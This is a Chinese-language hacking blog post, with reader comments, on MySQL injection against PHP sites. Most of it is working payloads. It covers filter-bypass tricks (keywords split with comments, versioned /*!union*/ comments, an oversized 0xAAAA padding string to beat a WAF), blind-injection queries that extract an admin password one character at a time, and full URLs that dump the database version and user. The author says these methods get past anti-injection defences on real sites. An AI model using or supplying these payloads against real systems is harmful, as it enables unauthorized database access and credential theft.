自sql注入发展至今,许多安全文章似乎扭曲了不少人的注射思维,传统的检测注射方法是通过:

and 1=1 , and 1=2 来判断真假从而判断是否过滤完全,当然,也有 or 1=2,or 1=1,或者 在数值注射 例如:id=1+1 或id=2-1,等等

本文的目的不是评判谁的检测方法实用,只是向大家推荐一些新的注射方式,可能早有人提及了:)

注:主要针对php下的mysql注射,可借鉴,就不一一介绍了

首先说判断:

Null值相信大家不陌生吧,可这么用: and 1 is null,and 1 is not null

或: and 2<=3

其实,很多人习惯性的用=号来判断了,但是,如: >= ,<= ,is null,is not null,<>等 都可用于判断

接着说注入

对于注射取值,我们熟悉的就是union select 和 blind sqlinjection(盲注)

先说Union Select

对于常规的注射,我们可以union select 1,2,3,4 或 union/**/select/**/ 1,2,3,4

Ok,看我演示, id=1+u/**/nio/**/n+se/**/lect+1&id=2,3&id=4  够恶心吧?可绕过国内所有防注射哦:) 这代码运行后效果如上,至于原理我希望大家自己去查查相关资料,有异议的可给我留言

当然,在语句传递多个参数时 例如 slect * from table where id = 1 and name = xxx  ,我们可这么做:

id=1+union/*&name=*/select+1,2

代入查询后 slect * from table where id = 1 union /* and name = xxx */ select 1,2 这是一种让常量(变量)失效的技巧,当然,环境要求比较苛刻 :)

下面说说Blind SqlIjection(盲注):

一般方式,我想大家应该是这么做的: ascii(substring(password,1,1))=56,或者是     ord(mid(password,1,1))=56

在此,我推荐大家还是用子查询,当然,前提是猜出表,字段,可更为准确的得到想得到的数据

此前,仍然向大家推荐一些新型的手法:

find_in_set 例: find_in_set('56',ascii(substr(password,1,1)))=1

strcmp 例: strcmp(left('password',1), 0x56) = 1



将这些函数套如子查询就是:

    id =1+and+strcmp(substring((select+password+from+admin+limit+0,1),1,1),0x55)=1 false

id =1+and+strcmp(substring((select+password+from+admin+limit+0,1),1,1),0x56)=0    true

id =1+and+strcmp(substring((select+password+from+admin+limit+0,1),1,1),0x57)=-1   false

老外NB 方法 还有 -.-||
悲剧还是绕不过去,nnd。要是国内
的站以上几种方法一般都能搞定,老外就是bt。国外php 注射历史悠久手法独特+方法猥琐  射出几率相当高

http://战/index.php?content=more_product&id=-17   and   (select   1)=(select
0xAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAA)+/*!union*/+select+1,2,3,4,5,6--+-

靠,老外果然牛B 那么继续射
http://站/index.php?content=more_product&id=-17   and   (select   1)=(select
0xAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAA)+/*!union*/+select+1,concat_ws(0x7c,version(),database(),u
ser()),3,4,5,6--+-
成功得到系统版本、当前数据库用户、用户名  

不懂 留个言

留言评论(旧系统):

虫子 @ 2011-07-10 19:40:31

id =1+and+strcmp(substring((sleect+password+from+admin+limit+0,1),1,1),0x55)=1 false 这个文章的 代码写错了哈 是select 小菜路过

本站回复:

我擦,眼真尖,这都看见了,已修正。。。Thx..

f0110 @ 2012-03-29 23:24:56

核老大,求教:id=1+u/**/nio/**/n+se/**/lect+1&id=2,3&id=4 第一句中&id=2,就是,2的意思吗?为什么呢? id =1+and+strcmp(substring((select+password+from+admin+limit+0,1),1,1),0x55)=1 false 这句中为什么最后有加了个false呢? 还有最后一长串中的这部分+/*!union*/+select+1,2,3,4,5,6--+-,其中/*!union*/是什么意思,还加了个!,并且还用了注释符? 谢谢!!!

本站回复:

,2,这是针对 Asp 程序的,因为如果给一个参数同时提交多个值的话,Asp 默认会以逗号做分割,这个叫:Asp 打碎关键词,具体可以参考: 突破 Sql 防注入过滤程序继续注入的一点方法、经验、技巧总结:http://lcx.cc/?i=2262 ASP 绕过防注入的新思路:打碎关键字,http://lcx.cc/?i=1245 false,这个并不属于注入语句的一部分,这个指的是前边那个语句执行的逻辑结果,false = 假、错误;true = 真、成功,前边那条语句的意思是,截取password的第一个字符,然后和 0x55 作比较,通俗的来讲,就是逐位猜密码的 Ascii 码,最后拼接出字符串,具体的你搜一下 strcmp、substring 这两个函数,就明白了。 关于SQL语句注释中的叹号,这是Mysql对SQL注释的扩展,有条件的执行注释中的语句,MySQL服务器能够解析并执行注释中的代码,就像对待其他MySQL语句一样,但其他SQL服务器将忽略这些扩展,参考资料: Mysql 对 SQL 注释的扩展,标准 SQL 的扩展,SQL 注释语句中的叹号:http://lcx.cc/?i=2374

佚名 @ 2013-12-16 08:48:14

slect * from table where id = 1 union /* and name = xxx */ select 1,2 slect------------------select

本站回复:

opps~